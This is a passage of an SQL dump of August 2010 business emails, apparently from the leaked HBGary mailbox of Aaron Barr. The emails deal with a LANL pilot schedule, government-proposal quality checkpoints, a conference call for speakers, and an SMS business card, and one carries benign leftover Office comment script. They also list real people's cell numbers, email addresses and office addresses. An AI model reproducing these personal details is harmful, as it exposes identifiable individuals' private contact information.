SDVOSB and\r\nco-author of the DIACAP standard and of the Federal Enterprise Architecture\r\nSecurity and Privacy Policy (FEA-SPP) integration framework. Specializes in\r\ndelivering FISMA and DIACAP training to federal enterprises. \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSeNet International. Specializes\r\nin security engineering, disaster recovery and C&amp;A. \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFortify, Inc. Market leading\r\nsoftware assurance solutions, top-ranked by Gartner Group. Serves many of the\r\nlargest banks, Independent Software Vendors and the Armed Services.\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTrust Digital, Inc. Leading\r\nprovider of mobile device security services. Serves 125+ federal/commercial\r\ncustomers.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9342,'aaron_hbgary_com/9342.html'),(10288,'2010-08-13','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007999.M114499P14101Q5143.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: LANL Delay','Rich is going on Monday \r\nOn Fri, Aug 13, 2010 at 8:40 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMaria,  Ted isn’t going on site and you crossed streams, I was talking about Ted being at GFirst.  So, is Rich still going on Monday?\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Thursday, August 12, 2010 3:57 PM\r\nTo: Aaron BarrCc: Ted Vera; Rich Cummings; Penny C. HoglundSubject: Re: LANL Delay\r\n \r\n\r\nRich is scheduled for the POC/Pilot on Monday.  Penny was going to ask Ted to do this if he was already there but plans are in place.\r\n\r\n \r\n\r\nMaybe Ted can plan to stop by the lab when he is there and see what is going on because after Rich leaves he intends to roll out AD to more systems.\r\n\r\nOn Thu, Aug 12, 2010 at 3:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nDid u need us to do something else there?Sent from my iPhone\r\n\r\nOn Aug 12, 2010, at 6:40 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nCONGRATS\r\n\r\nOn Thu, Aug 12, 2010 at 3:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nLooks like we will be insure.Sent from my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Date: August 12, 2010 6:16:49 PM EDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;Subject: RE: LANL Delay\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nWe have formalized the agreements with LANL and have received premission to proceed.  They want you to start Monday 8/23 so you would need to fly in Sunday evening.  Travel money has been approved for you and the hotel (I will get the specifics) they want you to stay at is a casino on and indian reservation and really nice.  LANL wants a telecom next week sometime with you to discuss.  I will set it up once I know some dates that are good for them and you.  Do you see any issue with anything I have stated above?  Thanks\r\n\r\n\r\n \r\n\r\nJerry\r\n\r\n \r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Thursday, August 05, 2010 12:09 PMTo: Aaron Barr; Jerry McClure; Ira EntisCc: mark@hbgary.comSubject: Re: LANL Delay\r\n\r\n\r\nThe week after would work, but we&#39;ll be at the G-First Conference in San Antonio the week of Aug 15th. \r\n\r\n \r\n\r\nTed\r\n\r\n \r\n\r\n \r\n\r\nOn Thu, Aug 5, 2010 at 8:02 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWe can accommodate.  As long as we have about a week or so heads up to make sure we can clear schedules for the activity. \r\n\r\n so \r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\nOn Aug 5, 2010, at 10:00 AM, Jerry McClure wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nThere appears to be some delay with LANL as we work out the security language risk.  LANL asked if there was some flexibility in your schedule to push the start to August 15th or maybe even the week after  What do you say?\r\n\r\n\r\n \r\n\r\nJerry\r\n \r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n \r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',1902,'aaron_hbgary_com/1902.html'),(10289,'2010-08-13','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008002.M882591P14101Q5144.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Quality Control','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe attached files are what I reviewed yesterday and sent back\r\nto the authors for updates \r\n\r\n&nbsp;\r\n\r\nKJK\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 13, 2010 3:31 PM\r\nTo: Kirby Kintner\r\nSubject: Re: EXTERNAL:Quality Control\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCan you send me the compliance and governance sections of\r\nthe proposal that has been submitted.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 13, 2010, at 3:22 PM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt seems I had the excel spreadsheet rolled up incorrectly and\r\ntranslated the wrong assignments. Here are the correct assignments.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Technical Performance Quality Control Checkpoints\r\n  \r\n \r\n \r\n  \r\n  \r\n  1.3.1 IA Compliance\r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Telos\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  1.3.2 IA Governance\r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Telos\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  1.3.3 IA Technical Services\r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  1.3.4 IA - General\r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NGC\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  1.3.5 CCIP Support\r\n  \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NGC\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Friedman, Bruce L\r\n(IS) [mailto:bruce.friedman@ngc.com]&nbsp;\r\nSent:&nbsp;Friday, August 13,\r\n2010 3:14 PM\r\nTo:&nbsp;Kirby Kintner\r\nSubject:&nbsp;RE:\r\nEXTERNAL:Quality Control\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThese are different assignment than the writing assignments, is\r\nthat what you planned to do. For example, you switched 1.3.3 with 1.3.5 for\r\nTACS and NGC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,&nbsp;\r\nBruce\r\n\r\n\r\n\r\n\r\n\r\nBruce Friedman PMP\r\nNorthrop Grumman\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n703 883 8883 (office)\r\n\r\n\r\n\r\n\r\n\r\n703 589 0917 (cell)\r\n\r\n\r\n\r\n\r\n\r\n703 556 1517 (fax)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n7575 Colshire Dr.\r\n\r\n\r\n\r\n\r\n\r\nRoom 5013W, Mail Stop C5W1&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMcLean, VA 22102&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Kirby Kintner\r\n[mailto:kkintner@digitalmanagement.com]&nbsp;\r\nSent:&nbsp;Friday, August 13,\r\n2010 2:49 PM\r\nTo:&nbsp;Aaron Barr; Fertal,\r\nMartin J (TASC); Sanderson, Robert; Friedman, Bruce L (IS)\r\nCc:&nbsp;John Fanguy; William\r\nE. Miller\r\nSubject:&nbsp;EXTERNAL:Quality\r\nControl\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe need to\r\nadd 4-5 specific quality control checkpoints for each SOW subtask, 1.3.1 &#8211;\r\n1.3.5.\r\n\r\n\r\n\r\n\r\n\r\nI have\r\nattached a template that want you to use.&nbsp; Each subtask is marked with the\r\ncompany that needs to provide the QC checkpoints.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd, just to\r\nclarify &#8211; I consider a checkpoint to be a critical step in a process where one\r\nwould validate specific conditions or results.\r\n\r\n\r\n\r\n\r\n\r\ne.g. If\r\nuploading new firewall software, I would check the version number to be sure I\r\nhad the correct product before loading it, and after loading it I would verify\r\ncorrect functionality by operating or testing the &nbsp;system. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy example is\r\nsimplistic and mundane.&nbsp; I need you to identify the ones that are more\r\nserious &#8211; those that would avoid major problems if caught. Do not include\r\nPerformance Metrics &#8211; they are different.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo\r\nnot include this table in your sections.&nbsp; &nbsp;Please return it to me\r\nwith your section updates on Saturday. I will put them in the Quality Control\r\nSection of Vol 1.\r\n\r\n\r\n\r\nThanx\r\n\r\n\r\n\r\n\r\n\r\nKJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2597,'aaron_hbgary_com/2597.html'),(10290,'2010-08-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008011.M928585P14101Q5145.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: EXTERNAL:Quality Control','Thank you.On Aug 13, 2010, at 3:34 PM, Kirby Kintner wrote:The attached files are what I reviewed yesterday and sent back to the authors for updates&nbsp;KJK&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, August 13, 2010 3:31 PMTo:&nbsp;Kirby KintnerSubject:&nbsp;Re: EXTERNAL:Quality Control&nbsp;Can you send me the compliance and governance sections of the proposal that has been submitted.&nbsp;Aaron&nbsp;On Aug 13, 2010, at 3:22 PM, Kirby Kintner wrote:It seems I had the excel spreadsheet rolled up incorrectly and translated the wrong assignments. Here are the correct assignments.&nbsp;Technical Performance Quality Control Checkpoints1.3.1 IA Compliance·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Telos·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.2 IA Governance·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Telos·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.3 IA Technical Services·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.4 IA - General·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NGC·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.3.5 CCIP Support·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NGC·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;From:&nbsp;Friedman, Bruce L (IS) [mailto:bruce.friedman@ngc.com]&nbsp;Sent:&nbsp;Friday, August 13, 2010 3:14 PMTo:&nbsp;Kirby KintnerSubject:&nbsp;RE: EXTERNAL:Quality Control&nbsp;These are different assignment than the writing assignments, is that what you planned to do. For example, you switched 1.3.3 with 1.3.5 for TACS and NGC.&nbsp;Thanks,&nbsp;BruceBruce Friedman PMPNorthrop Grumman&nbsp;703 883 8883 (office)703 589 0917 (cell)703 556 1517 (fax)&nbsp;7575 Colshire Dr.Room 5013W, Mail Stop C5W1&nbsp;McLean, VA 22102&nbsp;&nbsp;From:&nbsp;Kirby Kintner [mailto:kkintner@digitalmanagement.com]&nbsp;Sent:&nbsp;Friday, August 13, 2010 2:49 PMTo:&nbsp;Aaron Barr; Fertal, Martin J (TASC); Sanderson, Robert; Friedman, Bruce L (IS)Cc:&nbsp;John Fanguy; William E. MillerSubject:&nbsp;EXTERNAL:Quality Control&nbsp;We need to add 4-5 specific quality control checkpoints for each SOW subtask, 1.3.1 – 1.3.5.I have attached a template that want you to use.&nbsp; Each subtask is marked with the company that needs to provide the QC checkpoints.&nbsp;And, just to clarify – I consider a checkpoint to be a critical step in a process where one would validate specific conditions or results.e.g. If uploading new firewall software, I would check the version number to be sure I had the correct product before loading it, and after loading it I would verify correct functionality by operating or testing the &nbsp;system. &nbsp;&nbsp;My example is simplistic and mundane.&nbsp; I need you to identify the ones that are more serious – those that would avoid major problems if caught. Do not include Performance Metrics – they are different.&nbsp;Do not include this table in your sections.&nbsp; &nbsp;Please return it to me with your section updates on Saturday. I will put them in the Quality Control Section of Vol 1.ThanxKJK&nbsp;&lt;1 3 1 IA Complaince v3 Telos kjk.docx&gt;&lt;1.3.2 IA Governance Telos kjk.docx&gt;',1306,'aaron_hbgary_com/1306.html'),(10291,'2010-08-13','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297008013.M455851P14101Q5146.eml','aaron@hbgary.com','Fwd: GovSec Call for Presentations Closes Monday','Hi Aaron, I thought this conference might be a good fit for you. Are you interested in submitting a CFP? Deadline is tight -&gt; closes on Monday.&nbsp;Thanks, Karen\r\n--- On Fri, 8/13/10, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;Subject: Fwd: GovSec Call for Presentations Closes MondayTo: \"Rich Cummings\" &lt;rich@hbgary.com&gt;Cc: \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, August 13, 2010, 12:29 PM\r\n\r\nThere is a call for speakers that closes Monday\r\n&nbsp;\r\nDid we want to participate?\r\n---------- Forwarded message ----------From: Don Berey &lt;GovSec@1105info.com&gt;Date: Fri, Aug 13, 2010 at 11:01 AMSubject: GovSec Call for Presentations Closes MondayTo: \"maria@hbgary.com\" &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you a homeland security or cybersecurity professional with a lesson to share?&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n•GovSec, featuring GovCyber and U.S. Law, is the only government security event that combines physical security, cybersecurity and law enforcement to address the safety of our nation and its critical infrastructure. \r\nGovernment professionals are needed to deliver thought-provoking sessions in the conference program. Becoming a part of the conference faculty is a great way to earn industry recognition and training at no cost - speakers receive a complimentary conference pass to GovSec, valid all three days of the event.\r\nTrain your professional peers about today\'s most pressing government security&nbsp;threats.\r\nSessions should fit within one of the following tracks:\r\n\r\n\r\nCritical Infrastructure Protection: Critical infrastructure and key resources, in public and private sectors, must develop resiliency to various risks in order to continue operating safely and uninterrupted. This track examines the threats posed to our nation’s critical infrastructure and how to best secure these resources.\r\n\r\nAttacks and Emergencies: Preparedness, Prevention and Response: Whether natural or manmade, threats to our government, communities and citizens are ever present. Failure to maintain adequate levels of preparedness could have devastating effects in the wake of an emergency. This track presents training that develop skills to better identify and respond to various crises. \r\n\r\nProtecting from Advanced Persistent Threats (APT): APT is a growing cybersecurity threat targeting our critical U.S. infrastructure. Whether coming from foreign governments, organized crime or terrorist organizations, these cyber attacks are only going to increase in intensity.&nbsp;No single technology or process will stop these attacks; new approaches and increased vigilance are required. These sessions will provide the technologies and strategies to prevent, detect and react to this type of national security challenge. \r\n\r\nCybersecurity: Strategies and Best Practices: Protecting agencies and critical infrastructure from cyber attacks requires managing policies, technologies, resources and the implementation of security practices throughout an organization. &nbsp;These sessions will address how an agency can successfully protect against threats, the resources available within and outside government and the experience of your colleagues who have successfully addressed this top national and economic security priority.&nbsp;\r\n\r\n\r\n\r\nThe Call for Submissions closes on August 16. Click here to submit your proposal or topic recommendation! &nbsp;\r\n\r\n\r\n\r\nPlease do not reply to this email.For exhibitor and sponsor inquires, contact Don Berey.&nbsp;\r\n\r\nThis message has been sent to: maria@hbgary.com As an Gov Sec registrant we\'ll periodically send you information via e-mail about event registration. If you wish to discontinue receiving these types of e-mails, use our preference page: https://preference.1105pubs.com/pref/opt.jsp?e=maria@hbgary.com&amp;l=0&amp;p=707&amp;o=D20251 To view our privacy policy, visit: http://www.1105media.com/privacy.html The Government Information Group is a division of 1105 Media, 3141 Fairview Park Drive, Suite 777, Falls Church,\r\n VA 22042 We welcome your feedback: Event_info@1105govinfo.com  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com &nbsp;&nbsp;\r\n\r\n',4559,'aaron_hbgary_com/4559.html'),(10292,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008013.M808950P14101Q5147.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Mobile Biz Card','http://tinyurl.com/276ht8l\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Aug 13, 2010 at 1:38 PM\r\nSubject: Re: Mobile Biz Card\r\nTo: Maria Lucas \r\n\r\n\r\nhttp://tinyurl.com/276ht8l\r\n\r\nOn Fri, Aug 13, 2010 at 1:29 PM, Maria Lucas  wrote:\r\n> IDK WHAT YOU MEAN\r\n>\r\n> On Fri, Aug 13, 2010 at 12:28 PM, Ted Vera  wrote:\r\n>>\r\n>> ROFLMAO!!!\r\n>>\r\n>>\r\n>> On Fri, Aug 13, 2010 at 1:27 PM, Maria Lucas  wrote:\r\n>> > i only kjnow how to text to my contacts I will have to ask my daughter\r\n>> > for\r\n>> > help:)\r\n>> >\r\n>> > On Fri, Aug 13, 2010 at 11:03 AM, Ted Vera  wrote:\r\n>> >>\r\n>> >> Do you use text messaging on your phone?\r\n>> >> Send a text message from your cell phone to the phone number 90210 with\r\n>> >> the message \"HBGary\"\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> On Aug 13, 2010, at 12:02 PM, Maria Lucas  wrote:\r\n>> >>\r\n>> >> Ted I don\'t understand this..\r\n>> >>\r\n>> >> On Fri, Aug 13, 2010 at 10:59 AM, Ted Vera  wrote:\r\n>> >>>\r\n>> >>> Maria,\r\n>> >>>\r\n>> >>> Send a TXT to 90210, with the message \"hbgary\"\r\n>> >>>\r\n>> >>> You will receive a response back.  It\'s Bob\'s mobile biz card.  Bob\r\n>> >>> can then access a database that stores all of the phone numbers that\r\n>> >>> have txt\'ed him.\r\n>> >>>\r\n>> >>> Would you like to try it out for a month for free?  If so, what\r\n>> >>> keyword would you like?\r\n>> >>>\r\n>> >>> Some ideas:  virus, hbgarysales, marialucas, responder, ddna\r\n>> >>>\r\n>> >>> Regards,\r\n>> >>> Ted\r\n>> >>>\r\n>> >>>\r\n>> >>>\r\n>> >>> --\r\n>> >>> Ted Vera  |  President  |  HBGary Federal\r\n>> >>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> >>> www.hbgary.com  |  ted@hbgary.com\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >> --\r\n>> >> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> >>\r\n>> >> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n>> >> 240-396-5971\r\n>> >> email: maria@hbgary.com\r\n>> >>\r\n>> >>\r\n>> >>\r\n>> >\r\n>> >\r\n>> >\r\n>> > --\r\n>> > Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>> >\r\n>> > Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n>> > 240-396-5971\r\n>> > email: maria@hbgary.com\r\n>> >\r\n>> >\r\n>> >\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2618,'aaron_hbgary_com/2618.html'),(10293,'2010-08-13','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008015.M640517P14101Q5148.eml','\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"Sanderson, Robert\" <robert.sanderson@telos.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>','Transition Reviews.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n bw + bsl && x + aw - ah / 2 - cw >= bsl ) \r\n				{ c.style.left = x + aw - ah / 2 - cw; }\r\n			else \r\n				{ c.style.left = x + ah / 2; }\r\n			if (y + ch + ah / 2 > bh + bst && y + ah / 2 - ch >= bst ) \r\n				{ c.style.top = y + ah / 2 - ch; }\r\n			else \r\n				{ c.style.top = y + ah / 2; }\r\n			c.style.visibility = \"visible\";\r\n}	}	}\r\nfunction msoCommentHide(com_id) \r\n{\r\n	if(msoBrowserCheck())\r\n		{\r\n		c = document.all(com_id);\r\n		if (null != c && null == c.length)\r\n		{\r\n		c.style.visibility = \"hidden\";\r\n		c.style.left = -1000;\r\n		c.style.top = -1000;\r\n		} } \r\n}\r\nfunction msoBrowserCheck()\r\n{\r\n	ms = navigator.appVersion.indexOf(\"MSIE\");\r\n	vers = navigator.appVersion.substring(ms + 5, ms + 6);\r\n	ie4 = (ms > 0) && (parseInt(vers) >= 4);\r\n	return ie4;\r\n}\r\nif (msoBrowserCheck())\r\n{\r\n	document.styleSheets.dynCom.addRule(\".msocomanchor\",\"background: infobackground\");\r\n	document.styleSheets.dynCom.addRule(\".msocomoff\",\"display: none\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"visibility: hidden\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"position: absolute\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"top: -1000\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"left: -1000\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"width: 33%\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"background: infobackground\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"color: infotext\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"border-top: 1pt solid threedlightshadow\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"border-right: 2pt solid threedshadow\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"border-bottom: 2pt solid threedshadow\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"border-left: 1pt solid threedlightshadow\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"padding: 3pt 3pt 3pt 3pt\");\r\n	document.styleSheets.dynCom.addRule(\".msocomtxt\",\"z-index: 100\");\r\n}\r\n// -->\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nneed help identifying what we will need to review during the transition\r\nperiod.&nbsp; Here is what I have:\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Task Leads Conduct Due Diligence Review\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Review existing documentation\r\n  (standards, TSA Memorandums, etc)\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Review IT Architecture and\r\n  Infrastructure\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Review TSA Security Architecture\r\n  and Infrastructure\r\n  &middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  Review current procedures (SOPs)\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nPlease\r\nadd 2 or 3 bullets for each sub task your are writing.\r\n\r\n&nbsp;\r\n\r\nPlease\r\nreturn to me by 2PM Saturday.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanx\r\nfor the help.\r\n\r\n&nbsp;\r\n\r\nKJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5013,'aaron_hbgary_com/5013.html'),(10294,'2010-08-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008016.M485332P14101Q5150.eml','\"Penny Leavy-Hoglund\" 